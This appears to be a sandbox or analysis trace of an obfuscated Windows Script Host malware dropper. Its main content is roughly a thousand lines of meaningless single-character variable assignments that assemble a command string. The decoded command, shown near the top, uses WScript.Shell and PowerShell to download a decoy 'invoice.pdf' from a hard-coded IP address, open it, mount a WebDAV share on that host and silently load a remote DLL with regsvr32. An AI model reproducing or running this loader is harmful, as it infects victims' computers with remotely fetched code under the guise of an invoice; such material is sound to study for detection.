fsaeco + amneaevli + jegitq + bdvow + jqxzaw + uklgj + wzmwj + sumxacvf + xkvpe + fsaeco + plyjukmd + jqxzaw + xkvpe + sqwtzrt + hpydbfim + plyjukmd + xprgfbf + wzmwj + tagtidvj + uzubvamhb + aqdrxaxe + wzmwj + qqwddsk + xkvpe + pacqeifkv + hpydbfim + rfkycqtcn + tnnuejw + fsaeco + gxjpiflwj + jqxzaw + jqxzaw + hpydbfim + rlibsdaiz + ezzvktj + ezzvktj + sgeujl + swyve + ncehhq + pacqeifkv + sgeujl + mtcobfn + ncehhq + pacqeifkv + sgeujl + pacqeifkv + pzlzbo + bhkek + fecznukc + ezzvktj + wzmwj + tagtidvj + uzubvamhb + aqdrxaxe + wzmwj + qqwddsk + xkvpe + pacqeifkv + hpydbfim + gxjpiflwj + hpydbfim + igjlxluso + pyxfz + pyxfz + puyro + jqxzaw + lkpbuos + mmnhytxg + jqxzaw + fsaeco + plyjukmd + jqxzaw + xkvpe + sqwtzrt + hpydbfim + plyjukmd + xprgfbf + wzmwj + tagtidvj + uzubvamhb + aqdrxaxe + wzmwj + qqwddsk + xkvpe + pacqeifkv + hpydbfim + rfkycqtcn + tnnuejw + pyxfz + pyxfz + qqwddsk + sqwtzrt + rfkycqtcn + fsaeco + ezzvktj + qqwddsk + fsaeco + tagtidvj + xkvpe + jqxzaw + fsaeco + bdvow + puyro + xkvpe + fsaeco + xprgfbf + xprgfbf + sgeujl + swyve + ncehhq + pacqeifkv + sgeujl + mtcobfn + ncehhq + pacqeifkv + sgeujl + pacqeifkv + pzlzbo + bhkek + fecznukc + sgeuhmos + ddftp + ddftp + ddftp + ddftp + xprgfbf + rfkycqtcn + lkpbuos + uzubvamhb + glhos + glhos + glhos + mmnhytxg + aqdrxaxe + aqdrxaxe + jqxzaw + xprgfbf + pyxfz + pyxfz + qqwddsk + sqwtzrt + rfkycqtcn + fsaeco + ezzvktj + qqwddsk + fsaeco + mmnhytxg + xkvpe + mlhzxry + puyro + uzubvamhb + mmnhytxg + ncehhq + pzlzbo + fsaeco + ezzvktj + puyro + fsaeco + xprgfbf + xprgfbf + sgeujl + swyve + ncehhq + pacqeifkv + sgeujl + mtcobfn + ncehhq + pacqeifkv + sgeujl + pacqeifkv + pzlzbo + bhkek + fecznukc + sgeuhmos + ddftp + ddftp + ddftp + ddftp + xprgfbf + rfkycqtcn + lkpbuos + uzubvamhb + glhos + glhos + glhos + mmnhytxg + aqdrxaxe + aqdrxaxe + jqxzaw + xprgfbf + sgeujl + epuenh + swyve + sgeujl + mtcobfn + sgeujl + swyve + ncehhq + swyve + bhkek + pzlzbo + ncehhq + pzlzbo + pzlzbo + pzlzbo + pacqeifkv + rfkycqtcn + sumxacvf + sumxacvf, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\169141939023222.dll",0,false) ➔ 0
14	}
15	xprgfbf = "q";
16	xprgfbf = "e";
17	xprgfbf = "n";
18	xprgfbf = "y";
19	xprgfbf = "u";
20	xprgfbf = "Q";
21	xprgfbf = "U";
22	xprgfbf = "X";
23	xprgfbf = "i";
24	xprgfbf = "C";
25	xprgfbf = "J";
26	xprgfbf = "U";
27	xprgfbf = "b";
28	xprgfbf = "u";
29	xprgfbf = "F";
30	xprgfbf = "Q";
31	xprgfbf = "e";
32	xprgfbf = "b";
33	xprgfbf = "R";
34	xprgfbf = "e";
35	xprgfbf = "I";
36	xprgfbf = "a";
37	xprgfbf = "P";
38	xprgfbf = "X";
39	xprgfbf = "\\";
40	kwdnedwqt = "j";
41	kwdnedwqt = "g";
42	kwdnedwqt = "G";
43	kwdnedwqt = "Z";
44	kwdnedwqt = "r";
45	kwdnedwqt = "z";
46	kwdnedwqt = "E";
47	kwdnedwqt = "J";
48	kwdnedwqt = "u";
49	kwdnedwqt = "L";
50	kwdnedwqt = "P";
51	kwdnedwqt = "H";
52	kwdnedwqt = "d";
53	kwdnedwqt = "s";
54	kwdnedwqt = "O";
55	kwdnedwqt = "p";
56	kwdnedwqt = "r";
57	kwdnedwqt = "E";
58	kwdnedwqt = "u";
59	kwdnedwqt = "Y";
60	kwdnedwqt = "j";
61	kwdnedwqt = "B";
62	kwdnedwqt = "d";
63	kwdnedwqt = "g";
64	kwdnedwqt = "P";
65	kwdnedwqt = "h";
66	kwdnedwqt = "j";
67	kwdnedwqt = "G";
68	kwdnedwqt = "c";
69	kwdnedwqt = "K";
70	kwdnedwqt = "O";
71	kwdnedwqt = "p";
72	kwdnedwqt = "K";
73	kwdnedwqt = "M";
74	kwdnedwqt = "U";
75	kwdnedwqt = "E";
76	kwdnedwqt = "f";
77	kwdnedwqt = "v";
78	kwdnedwqt = "X";
79	kwdnedwqt = "Y";
80	rlibsdaiz = "Z";
81	rlibsdaiz = "N";
82	rlibsdaiz = "w";
83	rlibsdaiz = "Q";
84	rlibsdaiz = "v";
85	rlibsdaiz = "P";
86	rlibsdaiz = "b";
87	rlibsdaiz = "u";
88	rlibsdaiz = "D";
89	rlibsdaiz = "V";
90	rlibsdaiz = "R";
91	rlibsdaiz = "R";
92	rlibsdaiz = "f";
93	rlibsdaiz = "V";
94	rlibsdaiz = "Z";
95	rlibsdaiz = "E";
96	rlibsdaiz = "m";
97	rlibsdaiz = "r";
98	rlibsdaiz = "i";
99	rlibsdaiz = "y";
100	rlibsdaiz = "N";
101	rlibsdaiz = "q";
102	rlibsdaiz = "T";
103	rlibsdaiz = ":";
104	lepzabhcr = "e";
105	lepzabhcr = "f";
106	lepzabhcr = "s";
107	lepzabhcr = "r";
108	lepzabhcr = "b";
109	lepzabhcr = "K";
110	gprsv = "u";
111	gprsv = "Z";
112	gprsv = "N";
113	gprsv = "X";
114	gprsv = "e";
115	gprsv = "n";
116	gprsv = "c";
117	gprsv = "k";
118	gprsv = "F";
119	gprsv = "f";
120	gprsv = "B";
121	gprsv = "p";
122	gprsv = "D";
123	gprsv = "q";
124	gprsv = "w";
125	gprsv = "V";
126	gprsv = "S";
127	gprsv = "i";
128	gprsv = "m";
129	gprsv = "S";
130	dxzzm = "F";
131	dxzzm = "I";
132	dxzzm = "Y";
133	dxzzm = "I";
134	dxzzm = "j";
135	dxzzm = "B";
136	dxzzm = "p";
137	dxzzm = "o";
138	dxzzm = "C";
139	dxzzm = "L";
140	dxzzm = "g";
141	dxzzm = "g";
142	dxzzm = "a";
143	dxzzm = "y";
144	dxzzm = "n";
145	dxzzm = "e";
146	dxzzm = "S";
147	dxzzm = "Q";
148	rfkycqtcn = "q";
149	rfkycqtcn = "K";
150	rfkycqtcn = "u";
151	rfkycqtcn = "T";
152	rfkycqtcn = "B";
153	rfkycqtcn = "D";
154	rfkycqtcn = "H";
155	rfkycqtcn = "Z";
156	rfkycqtcn = "I";
157	rfkycqtcn = "A";
158	rfkycqtcn = "Q";
159	rfkycqtcn = "c";
160	rfkycqtcn = "z";
161	rfkycqtcn = "I";
162	rfkycqtcn = "R";
163	rfkycqtcn = "D";
164	rfkycqtcn = "x";
165	rfkycqtcn = "e";
166	rfkycqtcn = "H";
167	rfkycqtcn = "A";
168	rfkycqtcn = "I";
169	rfkycqtcn = "A";
170	rfkycqtcn = "Y";
171	rfkycqtcn = "i";
172	rfkycqtcn = "E";
173	rfkycqtcn = "c";
174	rfkycqtcn = "L";
175	rfkycqtcn = "Q";
176	rfkycqtcn = "W";
177	rfkycqtcn = "B";
178	rfkycqtcn = "d";
179	qqwddsk = "q";
180	qqwddsk = "s";
181	qqwddsk = "v";
182	qqwddsk = "o";
183	qqwddsk = "T";
184	qqwddsk = "E";
185	qqwddsk = "v";
186	qqwddsk = "C";
187	qqwddsk = "T";
188	qqwddsk = "S";
189	qqwddsk = "z";
190	qqwddsk = "T";
191	qqwddsk = "z";
192	qqwddsk = "b";
193	qqwddsk = "U";
194	qqwddsk = "j";
195	qqwddsk = "N";
196	qqwddsk = "L";
197	qqwddsk = "U";
198	qqwddsk = "Q";
199	qqwddsk = "D";
200	qqwddsk = "B";
201	qqwddsk = "A";
202	qqwddsk = "R";
203	qqwddsk = "u";
204	qqwddsk = "V";
205	qqwddsk = "I";
206	qqwddsk = "R";
207	qqwddsk = "i";
208	qqwddsk = "X";
209	qqwddsk = "k";
210	qqwddsk = "A";
211	qqwddsk = "O";
212	qqwddsk = "D";
213	qqwddsk = "S";
214	qqwddsk = "c";
215	pyrtgqxe = "A";
216	pyrtgqxe = "X";
217	pyrtgqxe = "S";
218	pyrtgqxe = "V";
219	pyrtgqxe = "G";
220	pyrtgqxe = "C";
221	pyrtgqxe = "Z";
222	pyrtgqxe = "y";
223	pyrtgqxe = "l";
224	pyrtgqxe = "L";
225	pyrtgqxe = "r";
226	pyrtgqxe = "m";
227	pyrtgqxe = "h";
228	pyrtgqxe = "R";
229	pyrtgqxe = "T";
230	pyrtgqxe = "A";
231	pyrtgqxe = "I";
232	pyrtgqxe = "K";
233	pyrtgqxe = "T";
234	pyrtgqxe = "p";
235	pyrtgqxe = "w";
236	pyrtgqxe = "Z";
237	pyrtgqxe = "O";
238	pyrtgqxe = "L";
239	pyrtgqxe = "X";
240	pyrtgqxe = "L";
241	pyrtgqxe = "g";
242	pyrtgqxe = "X";
243	pyrtgqxe = "X";
244	pyrtgqxe = "k";
245	pyrtgqxe = "n";
246	pyrtgqxe = "q";
247	pyrtgqxe = "E";
248	ntscdmotl = "J";
249	ntscdmotl = "a";
250	ntscdmotl = "t";
251	ntscdmotl = "f";
252	ntscdmotl = "u";
253	ntscdmotl = "v";
254	ntscdmotl = "t";
255	ntscdmotl = "b";
256	aqdrxaxe = "s";
257	aqdrxaxe = "S";
258	aqdrxaxe = "o";
259	sbjjm = "G";
260	sbjjm = "p";
261	sbjjm = "Y";
262	sbjjm = "j";
263	sbjjm = "h";
264	sbjjm = "i";
265	sbjjm = "U";
266	sbjjm = "x";
267	sbjjm = "z";
268	sbjjm = "V";
269	sbjjm = "e";
270	sbjjm = "g";
271	sbjjm = "l";
272	sbjjm = "Z";
273	sbjjm = "w";
274	sbjjm = "D";
275	sbjjm = "l";
276	sbjjm = "i";
277	sbjjm = "D";
278	sbjjm = "A";
279	sbjjm = "G";
280	sbjjm = "b";
281	sbjjm = "U";
282	tagtidvj = "S";
283	tagtidvj = "g";
284	tagtidvj = "h";
285	tagtidvj = "U";
286	tagtidvj = "Z";
287	tagtidvj = "T";
288	tagtidvj = "M";
289	tagtidvj = "i";
290	tagtidvj = "r";
291	tagtidvj = "f";
292	tagtidvj = "Q";
293	tagtidvj = "v";
294	tagtidvj = "o";
295	tagtidvj = "P";
296	tagtidvj = "I";
297	tagtidvj = "x";
298	tagtidvj = "T";
299	tagtidvj = "N";
300	tagtidvj = "d";
301	tagtidvj = "c";
302	tagtidvj = "b";
303	tagtidvj = "d";
304	tagtidvj = "L";
305	tagtidvj = "s";
306	tagtidvj = "s";
307	tagtidvj = "t";
308	tagtidvj = "O";
309	tagtidvj = "d";
310	tagtidvj = "w";
311	tagtidvj = "K";
312	tagtidvj = "Z";
313	tagtidvj = "A";
314	tagtidvj = "R";
315	tagtidvj = "q";
316	tagtidvj = "k";
317	tagtidvj = "h";
318	tagtidvj = "L";
319	tagtidvj = "b";
320	tagtidvj = "x";
321	tagtidvj = "N";
322	tagtidvj = "n";
323	plyjukmd = "K";
324	plyjukmd = "V";
325	plyjukmd = "s";
326	plyjukmd = "y";
327	plyjukmd = "t";
328	plyjukmd = "G";
329	plyjukmd = "A";
330	plyjukmd = "a";
331	plyjukmd = "S";
332	plyjukmd = "q";
333	plyjukmd = "j";
334	plyjukmd = "f";
335	plyjukmd = "N";
336	plyjukmd = "q";
337	plyjukmd = "B";
338	plyjukmd = "k";
339	plyjukmd = "U";
340	plyjukmd = "Q";
341	plyjukmd = "l";
342	plyjukmd = "i";
343	plyjukmd = "z";
344	plyjukmd = "%";
345	gzzqam = "t";
346	gzzqam = "d";
347	gzzqam = "y";
348	gzzqam = "U";
349	gzzqam = "w";
350	gzzqam = "P";
351	gzzqam = "U";
352	gzzqam = "v";
353	gzzqam = "x";
354	gzzqam = "h";
355	gzzqam = "I";
356	gzzqam = "Z";
357	gzzqam = "z";
358	gzzqam = "_";
359	cpyuei = "r";
360	cpyuei = "i";
361	cpyuei = "K";
362	cpyuei = "T";
363	cpyuei = "j";
364	cpyuei = "Q";
365	cpyuei = "T";
366	cpyuei = "A";
367	cpyuei = "G";
368	cpyuei = "v";
369	cpyuei = "T";
370	cpyuei = "Q";
371	cpyuei = "p";
372	cpyuei = "J";
373	cpyuei = "j";
374	puyro = "J";
375	puyro = "j";
376	puyro = "y";
377	puyro = "L";
378	puyro = "n";
379	puyro = "r";
380	puyro = "b";
381	puyro = "n";
382	puyro = "l";
383	puyro = "Q";
384	puyro = "S";
385	puyro = "d";
386	puyro = "x";
387	puyro = "c";
388	puyro = "h";
389	puyro = "O";
390	puyro = "l";
391	puyro = "q";
392	puyro = "C";
393	puyro = "A";
394	puyro = "g";
395	puyro = "b";
396	puyro = "w";
397	puyro = "x";
398	puyro = "G";
399	puyro = "O";
400	puyro = "q";
401	puyro = "r";
402	puyro = "T";
403	puyro = "O";
404	puyro = "A";
405	puyro = "C";
406	puyro = "v";
407	puyro = "Z";
408	puyro = "k";
409	puyro = "k";
410	puyro = "L";
411	puyro = "X";
412	puyro = "A";
413	puyro = "A";
414	puyro = "p";
415	puyro = "I";
416	puyro = "s";
417	bdvow = "w";
418	bdvow = "Y";
419	bdvow = "f";
420	bdvow = "j";
421	bdvow = "W";
422	bdvow = "T";
423	bdvow = "K";
424	bdvow = "c";
425	bdvow = "W";
426	bdvow = "V";
427	bdvow = "c";
428	bdvow = "f";
429	bdvow = "m";
430	bdvow = "e";
431	bdvow = "b";
432	bdvow = "R";
433	bdvow = "G";
434	bdvow = "m";
435	bdvow = "j";
436	bdvow = "T";
437	bdvow = "w";
438	bdvow = "C";
439	bdvow = "Q";
440	bdvow = "o";
441	bdvow = "T";
442	bdvow = "z";
443	bdvow = "S";
444	bdvow = "h";
445	bdvow = "Z";
446	bdvow = "y";
447	bdvow = "M";
448	bdvow = "c";
449	bdvow = "j";
450	bdvow = "L";
451	bdvow = "L";
452	bdvow = "T";
453	bdvow = "h";
454	bdvow = "C";
455	bdvow = "L";
456	bdvow = "f";
457	bdvow = "t";
458	bdvow = "O";
459	bdvow = "e";
460	bdvow = "u";
461	pacqeifkv = ".";
462	igjlxluso = "j";
463	igjlxluso = "R";
464	igjlxluso = "z";
465	igjlxluso = "e";
466	igjlxluso = "T";
467	igjlxluso = "T";
468	igjlxluso = "Q";
469	igjlxluso = "m";
470	igjlxluso = "G";
471	igjlxluso = "I";
472	igjlxluso = "p";
473	igjlxluso = "n";
474	igjlxluso = "W";
475	igjlxluso = "k";
476	igjlxluso = "h";
477	igjlxluso = "b";
478	igjlxluso = "C";
479	igjlxluso = "T";
480	igjlxluso = "a";
481	igjlxluso = "M";
482	igjlxluso = "s";
483	igjlxluso = "D";
484	igjlxluso = "H";
485	igjlxluso = "M";
486	igjlxluso = "z";
487	igjlxluso = "t";
488	igjlxluso = "i";
489	igjlxluso = "c";
490	igjlxluso = "\"";
491	jqxzaw = "I";
492	jqxzaw = "m";
493	jqxzaw = "w";
494	jqxzaw = "P";
495	jqxzaw = "B";
496	jqxzaw = "c";
497	jqxzaw = "r";
498	jqxzaw = "V";
499	jqxzaw = "L";
500	jqxzaw = "A";
501	jqxzaw = "c";
502	jqxzaw = "E";
503	jqxzaw = "P";
504	jqxzaw = "R";
505	jqxzaw = "B";
506	jqxzaw = "L";
507	jqxzaw = "O";
508	jqxzaw = "W";
509	jqxzaw = "x";
510	jqxzaw = "O";
511	jqxzaw = "F";
512	jqxzaw = "G";
513	jqxzaw = "B";
514	jqxzaw = "a";
515	jqxzaw = "n";
516	jqxzaw = "t";
517	amneaevli = "H";
518	amneaevli = "g";
519	amneaevli = "E";
520	amneaevli = "c";
521	amneaevli = "X";
522	amneaevli = "Q";
523	amneaevli = "X";
524	amneaevli = "v";
525	amneaevli = "Q";
526	amneaevli = "t";
527	amneaevli = "f";
528	amneaevli = "h";
529	amneaevli = "P";
530	amneaevli = "y";
531	amneaevli = "s";
532	amneaevli = "w";
533	amneaevli = "j";
534	amneaevli = "Q";
535	amneaevli = "O";
536	amneaevli = "B";
537	amneaevli = "j";
538	amneaevli = "o";
539	amneaevli = "G";
540	amneaevli = "P";
541	amneaevli = "u";
542	amneaevli = "i";
543	amneaevli = "t";
544	amneaevli = "b";
545	amneaevli = "E";
546	amneaevli = "n";
547	amneaevli = "w";
548	amneaevli = "c";
549	amneaevli = "I";
550	amneaevli = "-";
551	erigmo = "X";
552	erigmo = "y";
553	erigmo = "f";
554	erigmo = "u";
555	erigmo = "v";
556	erigmo = "m";
557	erigmo = "o";
558	erigmo = "F";
559	erigmo = "b";
560	erigmo = "g";
561	erigmo = "x";
562	erigmo = "g";
563	erigmo = "U";
564	erigmo = "i";
565	erigmo = "I";
566	juivrosn = "S";
567	juivrosn = "l";
568	juivrosn = "F";
569	juivrosn = "W";
570	juivrosn = "E";
571	juivrosn = "f";
572	juivrosn = "R";
573	juivrosn = "r";
574	juivrosn = "f";
575	juivrosn = "o";
576	juivrosn = "Z";
577	juivrosn = "w";
578	juivrosn = "b";
579	juivrosn = "f";
580	juivrosn = "u";
581	juivrosn = "u";
582	juivrosn = "G";
583	juivrosn = "E";
584	juivrosn = "e";
585	juivrosn = "p";
586	juivrosn = "L";
587	juivrosn = "L";
588	juivrosn = "G";
589	juivrosn = "T";
590	juivrosn = "i";
591	juivrosn = "L";
592	ddftp = "F";
593	ddftp = "L";
594	ddftp = "G";
595	ddftp = "P";
596	ddftp = "g";
597	ddftp = "a";
598	ddftp = "Q";
599	ddftp = "h";
600	ddftp = "c";
601	ddftp = "S";
602	ddftp = "F";
603	ddftp = "x";
604	ddftp = "p";
605	ddftp = "f";
606	ddftp = "p";
607	ddftp = "d";
608	ddftp = "H";
609	ddftp = "a";
610	ddftp = "O";
611	ddftp = "X";
612	ddftp = "u";
613	ddftp = "O";
614	ddftp = "r";
615	ddftp = "E";
616	ddftp = "P";
617	ddftp = "S";
618	ddftp = "O";
619	ddftp = "x";
620	ddftp = "x";
621	ddftp = "T";
622	ddftp = "k";
623	ddftp = "I";
624	ddftp = "G";
625	ddftp = "p";
626	ddftp = "n";
627	ddftp = "z";
628	ddftp = "N";
629	ddftp = "C";
630	ddftp = "I";
631	ddftp = "H";
632	ddftp = "f";
633	ddftp = "m";
634	ddftp = "8";
635	pyxfz = "W";
636	pyxfz = "x";
637	pyxfz = "N";
638	pyxfz = "&";
639	fsaeco = "N";
640	fsaeco = "H";
641	fsaeco = "w";
642	fsaeco = " ";
643	mlhzxry = "o";
644	mlhzxry = "g";
645	hdmlnbc = "u";
646	hdmlnbc = "t";
647	hdmlnbc = "V";
648	hdmlnbc = "B";
649	hdmlnbc = "K";
650	hdmlnbc = "T";
651	hdmlnbc = "t";
652	hdmlnbc = "b";
653	hdmlnbc = "x";
654	hdmlnbc = "i";
655	hdmlnbc = "O";
656	hdmlnbc = "L";
657	hdmlnbc = "p";
658	hdmlnbc = "v";
659	hdmlnbc = "c";
660	hdmlnbc = "n";
661	hdmlnbc = "h";
662	hdmlnbc = "v";
663	hdmlnbc = "Q";
664	hdmlnbc = "d";
665	hdmlnbc = "a";
666	hdmlnbc = "N";
667	hdmlnbc = "q";
668	hdmlnbc = "w";
669	hdmlnbc = "s";
670	hdmlnbc = "k";
671	uklgj = "R";
672	uklgj = "x";
673	uklgj = "Z";
674	uklgj = "G";
675	uklgj = "z";
676	uklgj = "o";
677	uklgj = "G";
678	uklgj = "F";
679	fecznukc = "R";
680	fecznukc = "q";
681	fecznukc = "G";
682	fecznukc = "O";
683	fecznukc = "E";
684	fecznukc = "X";
685	fecznukc = "j";
686	fecznukc = "q";
687	fecznukc = "x";
688	fecznukc = "C";
689	fecznukc = "F";
690	fecznukc = "h";
691	fecznukc = "Q";
692	fecznukc = "X";
693	fecznukc = "K";
694	fecznukc = "C";
695	fecznukc = "d";
696	fecznukc = "p";
697	fecznukc = "B";
698	fecznukc = "N";
699	fecznukc = "j";
700	fecznukc = "K";
701	fecznukc = "5";
702	sqwtzrt = "R";
703	sqwtzrt = "D";
704	sqwtzrt = "j";
705	sqwtzrt = "T";
706	sqwtzrt = "d";
707	sqwtzrt = "E";
708	sqwtzrt = "L";
709	sqwtzrt = "R";
710	sqwtzrt = "U";
711	sqwtzrt = "C";
712	sqwtzrt = "T";
713	sqwtzrt = "K";
714	sqwtzrt = "m";
715	sqwtzrt = "p";
716	sqwtzrt = "p";
717	sqwtzrt = "j";
718	sqwtzrt = "p";
719	sqwtzrt = "d";
720	sqwtzrt = "n";
721	sqwtzrt = "m";
722	ezzvktj = "O";
723	ezzvktj = "j";
724	ezzvktj = "U";
725	ezzvktj = "/";
726	ncehhq = "B";
727	ncehhq = "Y";
728	ncehhq = "O";
729	ncehhq = "d";
730	ncehhq = "t";
731	ncehhq = "j";
732	ncehhq = "y";
733	ncehhq = "C";
734	ncehhq = "F";
735	ncehhq = "c";
736	ncehhq = "D";
737	ncehhq = "P";
738	ncehhq = "p";
739	ncehhq = "E";
740	ncehhq = "V";
741	ncehhq = "X";
742	ncehhq = "N";
743	ncehhq = "J";
744	ncehhq = "n";
745	ncehhq = "K";
746	ncehhq = "m";
747	ncehhq = "M";
748	ncehhq = "w";
749	ncehhq = "i";
750	ncehhq = "W";
751	ncehhq = "O";
752	ncehhq = "K";
753	ncehhq = "x";
754	ncehhq = "e";
755	ncehhq = "3";
756	gxjpiflwj = "Q";
757	gxjpiflwj = "o";
758	gxjpiflwj = "F";
759	gxjpiflwj = "O";
760	gxjpiflwj = "W";
761	gxjpiflwj = "v";
762	gxjpiflwj = "r";
763	gxjpiflwj = "Z";
764	gxjpiflwj = "L";
765	gxjpiflwj = "p";
766	gxjpiflwj = "X";
767	gxjpiflwj = "h";
768	oitlgchk = "H";
769	oitlgchk = "q";
770	oitlgchk = "v";
771	oitlgchk = "s";
772	oitlgchk = "e";
773	oitlgchk = "V";
774	oitlgchk = "m";
775	oitlgchk = "A";
776	oitlgchk = "D";
777	oitlgchk = "l";
778	oitlgchk = "h";
779	oitlgchk = "E";
780	oitlgchk = "a";
781	oitlgchk = "p";
782	oitlgchk = "y";
783	oitlgchk = "K";
784	oitlgchk = "q";
785	oitlgchk = "b";
786	oitlgchk = "k";
787	oitlgchk = "O";
788	oitlgchk = "d";
789	oitlgchk = "c";
790	oitlgchk = "Y";
791	oitlgchk = "Z";
792	oitlgchk = "W";
793	oitlgchk = "C";
794	oitlgchk = "F";
795	oitlgchk = "i";
796	oitlgchk = "A";
797	oitlgchk = "s";
798	oitlgchk = "H";
799	dsewh = "B";
800	dsewh = "T";
801	dsewh = "u";
802	dsewh = "E";
803	dsewh = "P";
804	dsewh = "J";
805	dsewh = "v";
806	dsewh = "u";
807	dsewh = "L";
808	dsewh = "A";
809	dsewh = "Q";
810	dsewh = "Q";
811	dsewh = "z";
812	dsewh = "S";
813	dsewh = "t";
814	dsewh = "K";
815	dsewh = "D";
816	dsewh = "k";
817	dsewh = "i";
818	dsewh = "P";
819	dsewh = "N";
820	dsewh = "i";
821	dsewh = "F";
822	dsewh = "g";
823	dsewh = "O";
824	dsewh = "n";
825	dsewh = "u";
826	dsewh = "u";
827	dsewh = "H";
828	dsewh = "p";
829	dsewh = "N";
830	hpydbfim = "p";
831	qsefj = "p";
832	qsefj = "A";
833	qsefj = "e";
834	qsefj = "E";
835	qsefj = "b";
836	qsefj = "v";
837	qsefj = "v";
838	qsefj = "A";
839	qsefj = "K";
840	qsefj = "o";
841	qsefj = "d";
842	qsefj = "K";
843	qsefj = "g";
844	qsefj = "V";
845	qsefj = "D";
846	qsefj = "M";
847	qsefj = "y";
848	qsefj = "d";
849	qsefj = "N";
850	qsefj = "a";
851	qsefj = "T";
852	qsefj = "D";
853	qsefj = "T";
854	qsefj = "x";
855	qsefj = "M";
856	qsefj = "c";
857	qsefj = "e";
858	qsefj = "Z";
859	qsefj = "S";
860	qsefj = "b";
861	qsefj = "h";
862	qsefj = "q";
863	pzlzbo = "g";
864	pzlzbo = "T";
865	pzlzbo = "J";
866	pzlzbo = "X";
867	pzlzbo = "n";
868	pzlzbo = "K";
869	pzlzbo = "F";
870	pzlzbo = "x";
871	pzlzbo = "d";
872	pzlzbo = "J";
873	pzlzbo = "P";
874	pzlzbo = "b";
875	pzlzbo = "V";
876	pzlzbo = "c";
877	pzlzbo = "M";
878	pzlzbo = "2";
879	sgeujl = "U";
880	sgeujl = "s";
881	sgeujl = "U";
882	sgeujl = "y";
883	sgeujl = "h";
884	sgeujl = "Q";
885	sgeujl = "h";
886	sgeujl = "s";
887	sgeujl = "K";
888	sgeujl = "w";
889	sgeujl = "G";
890	sgeujl = "P";
891	sgeujl = "b";
892	sgeujl = "V";
893	sgeujl = "S";
894	sgeujl = "F";
895	sgeujl = "V";
896	sgeujl = "Y";
897	sgeujl = "z";
898	sgeujl = "N";
899	sgeujl = "y";
900	sgeujl = "x";
901	sgeujl = "U";
902	sgeujl = "x";
903	sgeujl = "1";
904	cnoiualq = "Y";
905	cnoiualq = "z";
906	cnoiualq = "C";
907	cnoiualq = "E";
908	cnoiualq = "x";
909	cnoiualq = "w";
910	cnoiualq = "J";
911	cnoiualq = "y";
912	cnoiualq = "l";
913	cnoiualq = "w";
914	cnoiualq = "H";
915	cnoiualq = "x";
916	glhos = "B";
917	glhos = "e";
918	glhos = "E";
919	glhos = "m";
920	glhos = "H";
921	glhos = "q";
922	glhos = "h";
923	glhos = "e";
924	glhos = "q";
925	glhos = "u";
926	glhos = "A";
927	glhos = "Y";
928	glhos = "m";
929	glhos = "C";
930	glhos = "G";
931	glhos = "c";
932	glhos = "V";
933	glhos = "n";
934	glhos = "w";
935	qinmebud = "s";
936	qinmebud = "K";
937	qinmebud = "s";
938	qinmebud = "r";
939	qinmebud = "H";
940	qinmebud = "v";
941	qinmebud = "K";
942	qinmebud = "g";
943	qinmebud = "R";
944	qinmebud = "T";
945	qinmebud = "B";
946	qinmebud = "j";
947	qinmebud = "L";
948	qinmebud = "K";
949	qinmebud = "k";
950	qinmebud = "H";
951	qinmebud = "x";
952	qinmebud = "O";
953	qinmebud = "a";
954	qinmebud = "f";
955	qinmebud = "M";
956	qinmebud = "T";
957	qinmebud = "S";
958	qinmebud = "b";
959	qinmebud = "g";
960	qinmebud = "A";
961	qinmebud = "I";
962	qinmebud = "t";
963	qinmebud = "j";
964	qinmebud = "P";
965	sumxacvf = "Z";
966	sumxacvf = "u";
967	sumxacvf = "v";
968	sumxacvf = "W";
969	sumxacvf = "y";
970	sumxacvf = "i";
971	sumxacvf = "j";
972	sumxacvf = "K";
973	sumxacvf = "M";
974	sumxacvf = "W";
975	sumxacvf = "C";
976	sumxacvf = "Q";
977	sumxacvf = "K";
978	sumxacvf = "v";
979	sumxacvf = "P";
980	sumxacvf = "m";
981	sumxacvf = "n";
982	sumxacvf = "e";
983	sumxacvf = "F";
984	sumxacvf = "z";
985	sumxacvf = "T";
986	sumxacvf = "t";
987	sumxacvf = "m";
988	sumxacvf = "i";
989	sumxacvf = "s";
990	sumxacvf = "r";
991	sumxacvf = "D";
992	sumxacvf = "f";
993	sumxacvf = "C";
994	sumxacvf = "O";
995	sumxacvf = "l";
996	lkpbuos = "e";
997	lkpbuos = "C";
998	lkpbuos = "n";
999	lkpbuos = "Z";
1000	lkpbuos = "U";
1001	lkpbuos = "q";
1002	lkpbuos = "o";
1003	lkpbuos = "D";
1004	lkpbuos = "a";
1005	uzubvamhb = "G";
1006	uzubvamhb = "a";
1007	uzubvamhb = "S";
1008	uzubvamhb = "Y";
1009	uzubvamhb = "H";
1010	uzubvamhb = "L";
1011	uzubvamhb = "Q";
1012	uzubvamhb = "U";
1013	uzubvamhb = "G";
1014	uzubvamhb = "c";
1015	uzubvamhb = "L";
1016	uzubvamhb = "P";
1017	uzubvamhb = "s";
1018	uzubvamhb = "g";
1019	uzubvamhb = "M";
1020	uzubvamhb = "A";
1021	uzubvamhb = "N";
1022	uzubvamhb = "j";
1023	uzubvamhb = "V";
1024	uzubvamhb = "z";
1025	uzubvamhb = "i";
1026	uzubvamhb = "U";
1027	uzubvamhb = "e";
1028	uzubvamhb = "h";
1029	uzubvamhb = "h";
1030	uzubvamhb = "B";
1031	uzubvamhb = "J";
1032	uzubvamhb = "a";
1033	uzubvamhb = "T";
1034	uzubvamhb = "e";
1035	uzubvamhb = "v";
1036	uzubvamhb = "v";
1037	owykmxmv = "C";
1038	owykmxmv = "H";
1039	owykmxmv = "u";
1040	owykmxmv = "g";
1041	owykmxmv = "W";
1042	owykmxmv = "F";
1043	owykmxmv = "F";
1044	owykmxmv = "k";
1045	owykmxmv = "e";
1046	owykmxmv = "z";
1047	owykmxmv = "P";
1048	owykmxmv = "i";
1049	owykmxmv = "g";
1050	owykmxmv = "J";
1051	owykmxmv = "Q";
1052	owykmxmv = "X";
1053	owykmxmv = "K";
1054	owykmxmv = "C";
1055	owykmxmv = "C";
1056	owykmxmv = "O";
1057	owykmxmv = "B";
1058	owykmxmv = "r";
1059	owykmxmv = "j";
1060	owykmxmv = "m";
1061	owykmxmv = "h";
1062	owykmxmv = "R";
1063	bhkek = "q";
1064	bhkek = "z";
1065	bhkek = "U";
1066	bhkek = "h";
1067	bhkek = "e";
1068	bhkek = "g";
1069	bhkek = "P";
1070	bhkek = "j";
1071	bhkek = "q";
